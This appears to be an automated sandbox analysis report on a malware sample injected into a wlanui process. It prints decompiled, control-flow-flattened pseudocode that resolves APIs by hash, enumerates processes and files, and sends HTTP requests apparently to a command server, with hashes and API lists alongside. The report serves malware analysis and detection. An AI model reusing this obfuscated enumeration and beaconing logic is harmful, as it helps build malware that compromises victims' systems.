CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?), ref: 004826D0

Strings

->F7, xrefs: 004828D9
@F1, xrefs: 00482648, 00482664, 00482711, 0048279D, 00482815, 00482852, 004828A2, 004828ED, 00482917

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
String ID: ->F7$@F1
API String ID: 1207547050-2637866518
Opcode ID: 3e2b1efa8a20eb0ab54849129eb4933509f9b1459c1e7e28c51757d0be7de173
Instruction ID: f1039ec3b9ba470d6d0e04e05970cdcdbe2749ceec353cc7671874938a952fc9
Opcode Fuzzy Hash: 3e2b1efa8a20eb0ab54849129eb4933509f9b1459c1e7e28c51757d0be7de173
Instruction Fuzzy Hash: 4C811671F001115BDB24BF6ADD50B2E3292AB54B14F054C3EEA05DB3A5FA788D00878D

Uniqueness

Uniqueness Score: -1.00%

Function 00484C80, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00484C80(intOrPtr* __ecx, void* __edx) {
				char _v556;
				void* _v560;
				void* __ebx;
				void* _t5;
				intOrPtr* _t6;
				signed int _t7;
				int _t12;
				signed int _t17;
				intOrPtr _t20;
				void* _t21;
				intOrPtr* _t24;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = _v560;
				_t24 = __ecx;
				_t40 = __edx;
				_t5 = 0xf1114c0;
				goto L1;
				do {
					while(1) {
						L1:
						_t44 = _t5 - 0x29f16ba1;
						if(_t44 > 0) {
							break;
						}
						if(_t44 == 0) {
							_t6 =  *0x48e498;
							if(_t6 == 0) {
								_t6 = E00483E60(_t24, E00483F00(0x9bab0b12), 0xb6f23f63, _t42);
								 *0x48e498 = _t6;
							}
							L14:
							_t7 =  *_t6(_t41,  &_v556);
							asm("sbb eax, eax");
							_t5 = ( ~_t7 & 0xe5fc70a2) + 0x2fd2b757;
							continue;
						} else {
							if(_t5 == 0xf1114c0) {
								_t5 = 0x1f097f05;
								continue;
							} else {
								if(_t5 == 0x15cf27f9) {
									_t17 =  *_t24( &_v556, _t40);
									asm("sbb eax, eax");
									_t5 = ( ~_t17 & 0xfa1eb44a) + 0x2fd2b757;
									continue;
								} else {
									if(_t5 != 0x1f097f05) {
										goto L17;
									} else {
										_t20 =  *0x48e290; // 0x7671733f
										if(_t20 == 0) {
											 *0x48e290 = E00483E60(_t24, E00483F00(0x9bab0b12), 0xbf0ea04d, _t42);
										}
										_t21 = CreateToolhelp32Snapshot(2, 0); // executed
										_t41 = _t21;
										if(_t41 == 0xffffffff) {
											return _t21;
										} else {
											_t5 = 0x2e0e6e55;
											continue;
										}
									}
								}
							}
						}
						L25:
					}
					if(_t5 == 0x2e0e6e55) {
						_t6 =  *0x48e1b4;
						_v556 = 0x22c;
						if(_t6 == 0) {
							_t6 = E00483E60(_t24, E00483F00(0x9bab0b12), 0x188a0580, _t42);
							 *0x48e1b4 = _t6;
						}
						goto L14;
					} else {
						if(_t5 == 0x2fd2b757) {
							if( *0x48de3c == 0) {
								 *0x48de3c = E00483E60(_t24, E00483F00(0x9bab0b12), 0x20de7595, _t42);
							}
							_t12 = CloseHandle(_t41); // executed
							return _t12;
						}
						goto L17;
					}
					goto L25;
					L17:
				} while (_t5 != 0x9d8354f);
				return _t5;
				goto L25;
			}

0x00484c88
0x00484c8c
0x00484c8f
0x00484c91
0x00484c96
0x00484ca0
0x00484ca0
0x00484ca0
0x00484ca0
0x00484ca5
0x00000000
0x00000000
0x00484cab
0x00484d24
0x00484d2b
0x00484d3e
0x00484d43
0x00484d43
0x00484d48
0x00484d4e
0x00484d52
0x00484d59
0x00000000
0x00484cad
0x00484cb2
0x00484d1a
0x00000000
0x00484cb4
0x00484cb9
0x00484d08
0x00484d0c
0x00484d13
0x00000000
0x00484cbb
0x00484cc0
0x00000000
0x00484cc6
0x00484cc6
0x00484ccd
0x00484ce5
0x00484ce5
0x00484cee
0x00484cf0
0x00484cf5
0x00484de4
0x00484cfb
0x00484cfb
0x00000000
0x00484cfb
0x00484cf5
0x00484cc0
0x00484cb9
0x00484cb2
0x00000000
0x00484cab
0x00484d68
0x00484d86
0x00484d8b
0x00484d95
0x00484da8
0x00484dad
0x00484dad
0x00000000
0x00484d6a
0x00484d6f
0x00484dbb
0x00484dd3
0x00484dd3
0x00484dd9
0x00000000
0x00484dd9
0x00000000
0x00484d6f
0x00000000
0x00484d71
0x00484d71
0x00484d85
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00484CEE
CloseHandle.KERNEL32(?,00000000,?,?), ref: 00484DD9

Strings

?sqv, xrefs: 00484CC6, 00484CE5

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleSnapshotToolhelp32
String ID: ?sqv
API String ID: 3280610774-1358527836
Opcode ID: 16a918abdf0de6644c44f0055c7a753feadd76cfea9833db1aa8eb80d1ea7159
Instruction ID: 323943142e7987e8aea12c5c77a9bc7dc7ad084c1eb2f20eaefef295d1bf3772
Opcode Fuzzy Hash: 16a918abdf0de6644c44f0055c7a753feadd76cfea9833db1aa8eb80d1ea7159
Instruction Fuzzy Hash: ED31BE31A0421247CB28BF7AE88563F22D99BE0B58B544C3FB615DB3A1F62CCD45539E

Uniqueness

Uniqueness Score: -1.00%

Function 004838F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E004838F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x48e430 == 0) {
								 *0x48e430 = E00483E60(_t56, E00483F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x48dba4;
								if(_t42 == 0) {
									_t42 = E00483E60(_t56, E00483F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x48dba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E004834C0(0x48d290);
											_t50 =  *0x48e158;
											if(_t50 == 0) {
												_t50 = E00483E60(_t56, E00483F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x48e158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E004838F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E00483460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E004834C0(0x48d260);
					_t24 =  *0x48e158;
					if(_t24 == 0) {
						_t24 = E00483E60(_t56, E00483F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x48e158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x48e494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E00483E60(_t56, E00483F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x48e494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x48df30;
					if(_t28 == 0) {
						_t28 = E00483E60(_t56, E00483F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x48df30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x48df88;
						if(_t33 == 0) {
							_t33 = E00483E60(_t56, E00483F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x48df88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x004838fa
0x004838fc
0x004838fe
0x00483902
0x00483907
0x00483910
0x00483910
0x00483910
0x00483915
0x00000000
0x00000000
0x0048391b
0x00483a5f
0x00000000
0x00483921
0x00483926
0x00483a1e
0x00483a36
0x00483a36
0x00483a48
0x00483a4a
0x00483a4f
0x00483ba1
0x00483a55
0x00483a55
0x00000000
0x00483a55
0x0048392c
0x00483931
0x00483b70
0x00483b77
0x00483b8a
0x00483b8f
0x00483b8f
0x00000000
0x00483b95
0x0048393c
0x00483ab6
0x00483abb
0x00000000
0x00483acb
0x00483acb
0x00483acb
0x00483942
0x00483947
0x004839fd
0x00483a06
0x00483a0d
0x0048394d
0x00483953
0x00483974
0x00483976
0x00000000
0x00483978
0x00483982
0x00483984
0x0048398b
0x0048399e
0x004839a3
0x004839a3
0x004839bc
0x004839d8
0x004839dd
0x004839e2
0x004839e7
0x004839e7
0x00483955
0x00483955
0x0048395d
0x0048396d
0x0048396d
0x00000000
0x00000000
0x00000000
0x0048395d
0x00483953
0x00000000
0x00483947
0x0048393c
0x00483926
0x00000000
0x0048391b
0x00483a6e
0x00483ad6
0x00483ad8
0x00483adf
0x00483af2
0x00483af7
0x00483af7
0x00483b0b
0x00483b0d
0x00483b12
0x00483b17
0x00483b2a
0x00483b2f
0x00483b2f
0x00483b36
0x00483b38
0x00483b3f
0x00483b52
0x00483b57
0x00483b57
0x00483b60
0x00483b62
0x00483b66
0x00000000
0x00483a70
0x00483a75
0x00000000
0x00483a77
0x00483a77
0x00483a7e
0x00483a91
0x00483a96
0x00483a96
0x00483aa1
0x00483aa5
0x00483aac
0x00000000
0x00483aac
0x00483a75
0x00000000

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00483A48

Strings

., xrefs: 0048394D

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 9f31964077c32ff6bb45019578e10f446928c9debf0577bf0e453aa512fd8d94
Instruction ID: 529158c8867a9ebc7e21cc315085d24542ab490d415ea6f637f1ce30c16f0e82
Opcode Fuzzy Hash: 9f31964077c32ff6bb45019578e10f446928c9debf0577bf0e453aa512fd8d94
Instruction Fuzzy Hash: 0E51E3B170420147CA24BFA9D855A7F3696AB90F0AF000D2FF655C7392EA7DCF05839A

Uniqueness

Uniqueness Score: -1.00%

Function 004853D0, Relevance: 1.6, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004853D0(void* __ebx, void* __ebp) {
				signed char _v2;
				signed int _v276;
				signed int _v280;
				char _v284;
				signed short _v320;
				void* _t8;
				intOrPtr* _t13;
				intOrPtr* _t16;
				void* _t22;
				void* _t31;
				void* _t32;
				void* _t35;

				_t32 = __ebp;
				_t22 = __ebx;
				_t8 = 0x375d42ff;
				_t31 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t35 = _t8 - 0x2a3ce5bf;
						if(_t35 > 0) {
							break;
						}
						if(_t35 == 0) {
							_t13 =  *0x48e48c;
							if(_t13 == 0) {
								_t13 = E00483E60(_t22, E00483F00(0x9bab0b12), 0xd293227f, _t32);
								 *0x48e48c = _t13;
							}
							 *_t13( &_v320); // executed
							_t8 = 0x369c73bd;
							continue;
						} else {
							if(_t8 == 0x4168e76) {
								_t16 =  *0x48db60;
								_v284 = 0x11c;
								if(_t16 == 0) {
									_t16 = E00483E60(_t22, E00483F00(0xc6fbcd74), 0x1f37d559, _t32);
									 *0x48db60 = _t16;
								}
								 *_t16( &_v284);
								_t8 = 0x2a3ce5bf;
								continue;
							} else {
								if(_t8 == 0x13274375) {
									return (_v320 & 0x0000ffff) + _t31;
								} else {
									if(_t8 != 0x1c93af8c) {
										goto L17;
									} else {
										_t31 = _t31 + _v280 * 0x3e8;
										_t8 = 0x2cb8004a;
										continue;
									}
								}
							}
						}
						L22:
					}
					if(_t8 == 0x2cb8004a) {
						_t31 = _t31 + _v276 * 0x64;
						_t8 = 0x13274375;
						goto L1;
					} else {
						if(_t8 == 0x369c73bd) {
							_t31 = _t31 + (_v2 & 0x000000ff) * 0x186a0;
							_t8 = 0x1c93af8c;
							goto L1;
						} else {
							if(_t8 != 0x375d42ff) {
								goto L17;
							} else {
								_t8 = 0x4168e76;
								goto L1;
							}
						}
					}
					goto L22;
					L17:
				} while (_t8 != 0x38a43d91);
				return _t31;
				goto L22;
			}

0x004853d0
0x004853d0
0x004853d6
0x004853dc
0x004853dc
0x004853e0
0x004853e0
0x004853e0
0x004853e0
0x004853e5
0x00000000
0x00000000
0x004853eb
0x00485455
0x0048545c
0x0048546f
0x00485474
0x00485474
0x0048547e
0x00485480
0x00000000
0x004853ed
0x004853f2
0x0048541b
0x00485420
0x0048542a
0x0048543d
0x00485442
0x00485442
0x0048544c
0x0048544e
0x00000000
0x004853f4
0x004853f9
0x004854f7
0x004853ff
0x00485404
0x00000000
0x0048540a
0x00485412
0x00485414
0x00000000
0x00485414
0x00485404
0x004853f9
0x004853f2
0x00000000
0x004853eb
0x0048548f
0x004854dd
0x004854df
0x00000000
0x00485491
0x00485496
0x004854cc
0x004854ce
0x00000000
0x00485498
0x0048549d
0x00000000
0x0048549f
0x0048549f
0x00000000
0x0048549f
0x0048549d
0x00485496
0x00000000
0x004854a9
0x004854a9
0x004854bd
0x00000000

APIs

GetNativeSystemInfo.KERNEL32(3251FEFE,3251FEFE), ref: 0048547E

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 9ddd1764e9654dc3bcc0910e7aea15875e2326ebfa10e29547a1a470dee9bdd9
Instruction ID: fabd7a4596244dca721dc36dfbbad7b6272af3388ebd332e1799a70b2198a21d
Opcode Fuzzy Hash: 9ddd1764e9654dc3bcc0910e7aea15875e2326ebfa10e29547a1a470dee9bdd9
Instruction Fuzzy Hash: B8210330E0461087C728BA6ED88127F62D51794B89F940E1BF94AD7360EA3CCD81978F

Uniqueness

Uniqueness Score: -1.00%

Function 00482BE0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 293
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00482BE0(WCHAR* __ecx, short __edx, long _a4, WCHAR* _a8, void* _a12, intOrPtr _a16) {
				WCHAR* _v4;
				short _v8;
				char _v12;
				char _v16;
				void* _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				void* _v32;
				WCHAR* _v36;
				void* _v40;
				intOrPtr _v44;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void* __ebx;
				void* __ebp;
				signed int _t37;
				void* _t38;
				void* _t40;
				void* _t43;
				void* _t48;
				void* _t52;
				void* _t53;
				void* _t55;
				void* _t58;
				void* _t65;
				void* _t76;
				void* _t77;
				intOrPtr _t79;
				void* _t85;
				void* _t114;
				void* _t133;
				void* _t134;
				void* _t135;
				long _t136;
				void* _t141;
				void* _t142;
				WCHAR* _t143;
				void* _t146;
				void** _t147;
				void* _t150;
				void* _t151;

				_t147 =  &_v40;
				_t146 = _a12;
				_v4 = __ecx;
				_t135 = 0x312c4ad9;
				_t85 = _v4;
				_v8 = __edx;
				_v36 = 0;
				_v24 = 0;
				_v28 = 0;
				_v40 = 0;
				while(1) {
					L1:
					_t133 = _v20;
					goto L2;
					do {
						while(1) {
							L2:
							_t150 = _t135 - 0x312c4ad9;
							if(_t150 > 0) {
								goto L38;
							}
							L3:
							if(_t150 == 0) {
								_t135 = 0x22ee02e8;
								continue;
							} else {
								_t151 = _t135 - 0x1714460e;
								if(_t151 > 0) {
									__eflags = _t135 - 0x22ee02e8;
									if(_t135 == 0x22ee02e8) {
										_t38 =  *0x48e494;
										_v24 = 0x200;
										__eflags = _t38;
										if(_t38 == 0) {
											_t38 = E00483E60(_t85, E00483F00(0x9bab0b12), 0x7facde30, _t146);
											 *0x48e494 = _t38;
										}
										_t141 =  *_t38();
										_t40 =  *0x48dd18;
										__eflags = _t40;
										if(_t40 == 0) {
											_t40 = E00483E60(_t85, E00483F00(0x9bab0b12), 0x9ff0609c, _t146);
											 *0x48dd18 = _t40;
										}
										_t142 =  *_t40(_t141, 8, 0x200);
										__eflags = _t142;
										if(_t142 != 0) {
											_t76 =  *0x48e2fc; // 0x762f49e0
											__eflags = _t76;
											if(_t76 == 0) {
												_t76 = E00483E60(_t85, E00483F00(0x705b7853), 0xa7b8a7b3, _t146);
												 *0x48e2fc = _t76;
											}
											_t77 =  *_t76(0, _t142,  &_v36); // executed
											__eflags = _t77;
											if(_t77 == 0) {
												_t79 = E004856F0(_t142, _t146);
												_t147 = _t147 - 8 + 8;
												_v60 = _t79;
											}
											E00484220(_t85, _t142);
										}
										_t135 = 0x3804105;
										continue;
									} else {
										__eflags = _t135 - 0x2bddac0a;
										if(_t135 != 0x2bddac0a) {
											break;
										} else {
											__eflags = _t146;
											if(_t146 == 0) {
												_t143 = _v28;
											} else {
												_t143 = E004834C0(0x48d210);
												_v28 = _t143;
											}
											_t43 =  *0x48dd88;
											__eflags = _t43;
											if(_t43 == 0) {
												_t43 = E00483E60(_t85, E00483F00(0xb37bd66), 0xb7e598cf, _t146);
												 *0x48dd88 = _t43;
											}
											_t85 =  *_t43(_t133, _t143, _a4, 0, 0, 0, 0x844cc300, 0);
											E00483460(_t143);
											__eflags = _t85;
											_t135 =  !=  ? 0x399ad3d8 : 0x3b13624a;
											continue;
										}
									}
								} else {
									if(_t151 == 0) {
										_t48 =  *0x48e258;
										__eflags = _t48;
										if(_t48 == 0) {
											_t48 = E00483E60(_t85, E00483F00(0xb37bd66), 0x1fa1918a, _t146);
											 *0x48e258 = _t48;
										}
										 *_t48(_v32);
										return _v44;
									} else {
										if(_t135 == 0x161d514) {
											_t52 =  *0x48e1e8; // 0x0
											_v16 = 4;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E00483E60(_t85, E00483F00(0xb37bd66), 0x30c1111c, _t146);
												 *0x48e1e8 = _t52;
											}
											_t53 =  *_t52(_t85, 0x20000013,  &_v12,  &_v16, 0);
											__eflags = _t53;
											if(_t53 == 0) {
												L49:
												_t135 = 0x31d265c4;
											} else {
												__eflags = _v32 - 0xc8;
												if(_v32 != 0xc8) {
													goto L49;
												} else {
													_t135 = 0x3733f1d1;
													while(1) {
														L2:
														_t150 = _t135 - 0x312c4ad9;
														if(_t150 > 0) {
															goto L38;
														}
														goto L3;
													}
													goto L38;
												}
											}
											continue;
										} else {
											if(_t135 == 0x3804105) {
												if( *0x48dcdc == 0) {
													 *0x48dcdc = E00483E60(_t85, E00483F00(0xb37bd66), 0xb1cc2959, _t146);
												}
												_t55 = InternetOpenW(_v36, 0, 0, 0, 0); // executed
												_v52 = _t55;
												_t135 =  !=  ? 0x34cdf7bf : 0x290e05a1;
												E00484220(_t85, _v56);
											}
											break;
										}
									}
								}
							}
							L64:
							L38:
							__eflags = _t135 - 0x3733f1d1;
							if(__eflags > 0) {
								__eflags = _t135 - 0x399ad3d8;
								if(_t135 == 0x399ad3d8) {
									__eflags = _t146;
									if(_t146 == 0) {
										_t136 = 0;
										_t134 = 0;
										__eflags = 0;
									} else {
										_t136 = _a4;
										_t134 =  *_t146;
									}
									__eflags =  *0x48dcb8;
									if( *0x48dcb8 == 0) {
										 *0x48dcb8 = E00483E60(_t85, E00483F00(0xb37bd66), 0x6efcb66d, _t146);
									}
									_t37 = HttpSendRequestW(_t85, _a8, 0xffffffff, _t134, _t136); // executed
									asm("sbb esi, esi");
									_t135 = ( ~_t37 & 0xcf8f6f50) + 0x31d265c4;
									goto L1;
								} else {
									__eflags = _t135 - 0x3b13624a;
									if(_t135 != 0x3b13624a) {
										break;
									} else {
										_t58 =  *0x48e258;
										__eflags = _t58;
										if(_t58 == 0) {
											_t58 = E00483E60(_t85, E00483F00(0xb37bd66), 0x1fa1918a, _t146);
											 *0x48e258 = _t58;
										}
										 *_t58(_t133);
										_t135 = 0x1714460e;
										continue;
									}
								}
							} else {
								if(__eflags == 0) {
									__eflags = E00482980(_t85, _a16);
									_t114 =  !=  ? 1 : _v40;
									__eflags = _t114;
									_v40 = _t114;
									goto L49;
								} else {
									__eflags = _t135 - 0x31d265c4;
									if(_t135 == 0x31d265c4) {
										__eflags =  *0x48e258;
										if( *0x48e258 == 0) {
											 *0x48e258 = E00483E60(_t85, E00483F00(0xb37bd66), 0x1fa1918a, _t146);
										}
										InternetCloseHandle(_t85); // executed
										_t135 = 0x3b13624a;
										continue;
									} else {
										__eflags = _t135 - 0x34cdf7bf;
										if(_t135 != 0x34cdf7bf) {
											break;
										} else {
											__eflags =  *0x48dfd0;
											if( *0x48dfd0 == 0) {
												 *0x48dfd0 = E00483E60(_t85, E00483F00(0xb37bd66), 0x3e17dfbb, _t146);
											}
											_t65 = InternetConnectW(_v32, _v4, _v8, 0, 0, 3, 0, 0); // executed
											_t133 = _t65;
											__eflags = _t133;
											_v52 = _t133;
											_t135 =  !=  ? 0x2bddac0a : 0x1714460e;
											continue;
										}
									}
								}
							}
							goto L64;
						}
					} while (_t135 != 0x290e05a1);
					return _v40;
					goto L64;
				}
			}

0x00482be0
0x00482be5
0x00482bec
0x00482bf0
0x00482bf5
0x00482bfa
0x00482bfe
0x00482c06
0x00482c0e
0x00482c16
0x00482c1a
0x00482c1a
0x00482c1a
0x00482c1a
0x00482c20
0x00482c20
0x00482c20
0x00482c20
0x00482c26
0x00000000
0x00000000
0x00482c2c
0x00482c2c
0x00482e56
0x00000000
0x00482c32
0x00482c32
0x00482c38
0x00482d1a
0x00482d20
0x00482d9e
0x00482da3
0x00482dab
0x00482dad
0x00482dc0
0x00482dc5
0x00482dc5
0x00482dcc
0x00482dce
0x00482dd3
0x00482dd5
0x00482de8
0x00482ded
0x00482ded
0x00482dfc
0x00482dfe
0x00482e00
0x00482e02
0x00482e07
0x00482e09
0x00482e1c
0x00482e21
0x00482e21
0x00482e2e
0x00482e30
0x00482e32
0x00482e39
0x00482e3e
0x00482e41
0x00482e41
0x00482e47
0x00482e47
0x00482e4c
0x00000000
0x00482d22
0x00482d22
0x00482d28
0x00000000
0x00482d2e
0x00482d2e
0x00482d30
0x00482d44
0x00482d32
0x00482d3c
0x00482d3e
0x00482d3e
0x00482d48
0x00482d4d
0x00482d4f
0x00482d62
0x00482d67
0x00482d67
0x00482d83
0x00482d85
0x00482d8a
0x00482d96
0x00000000
0x00482d96
0x00482d28
0x00482c3e
0x00482c3e
0x00482fcf
0x00482fd4
0x00482fd6
0x00482fe9
0x00482fee
0x00482fee
0x00482ff7
0x00483004
0x00482c44
0x00482c4a
0x00482cba
0x00482cbf
0x00482cc7
0x00482cc9
0x00482cdc
0x00482ce1
0x00482ce1
0x00482cf8
0x00482cfa
0x00482cfc
0x00482f2a
0x00482f2a
0x00482d02
0x00482d02
0x00482d0a
0x00000000
0x00482d10
0x00482d10
0x00482c20
0x00482c20
0x00482c20
0x00482c26
0x00000000
0x00000000
0x00000000
0x00482c26
0x00000000
0x00482c20
0x00482d0a
0x00000000
0x00482c4c
0x00482c52
0x00482c5b
0x00482c73
0x00482c73
0x00482c84
0x00482c8c
0x00482c9a
0x00482c9d
0x00482c9d
0x00000000
0x00482c52
0x00482c4a
0x00482c3e
0x00482c38
0x00000000
0x00482e60
0x00482e60
0x00482e66
0x00482f34
0x00482f3a
0x00482f79
0x00482f7b
0x00482f85
0x00482f87
0x00482f87
0x00482f7d
0x00482f7d
0x00482f80
0x00482f80
0x00482f8e
0x00482f90
0x00482fa8
0x00482fa8
0x00482fb6
0x00482fbc
0x00482fc4
0x00000000
0x00482f3c
0x00482f3c
0x00482f42
0x00000000
0x00482f48
0x00482f48
0x00482f4d
0x00482f4f
0x00482f62
0x00482f67
0x00482f67
0x00482f6d
0x00482f6f
0x00000000
0x00482f6f
0x00482f42
0x00482e6c
0x00482e6c
0x00482f1c
0x00482f23
0x00482f23
0x00482f26
0x00000000
0x00482e72
0x00482e72
0x00482e78
0x00482ee1
0x00482ee3
0x00482efb
0x00482efb
0x00482f01
0x00482f03
0x00000000
0x00482e7a
0x00482e7a
0x00482e80
0x00000000
0x00482e86
0x00482e8b
0x00482e8d
0x00482ea5
0x00482ea5
0x00482ec0
0x00482ec2
0x00482ec9
0x00482ecb
0x00482ed4
0x00000000
0x00482ed4
0x00482e80
0x00482e78
0x00482e6c
0x00000000
0x00482e66
0x00482ca2
0x00482cb9
0x00000000
0x00482cb9

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00482C84
ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 00482E2E
InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00482EC0
InternetCloseHandle.WININET(?), ref: 00482F01
HttpSendRequestW.WININET(?,?,000000FF,00000000,00000000), ref: 00482FB6

Strings

I/v, xrefs: 00482E02, 00482E21
Sx[p, xrefs: 00482E0B

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: Sx[p$I/v
API String ID: 1741791824-1179412207
Opcode ID: e602f0ed812b79775b022efdc11e064665e823226063de9795772083e8590489
Instruction ID: 6550633e0aff5ce473f7c16a6300e5783e856b01c2b2c69dc1a77301193801d5
Opcode Fuzzy Hash: e602f0ed812b79775b022efdc11e064665e823226063de9795772083e8590489
Instruction Fuzzy Hash: CEA1C131A042115BDB20BF698D50B3F76E5AB94B58F100C2FFA55DB390EBB89D01978E

Uniqueness

Uniqueness Score: -1.00%

Function 00489860, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00489860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
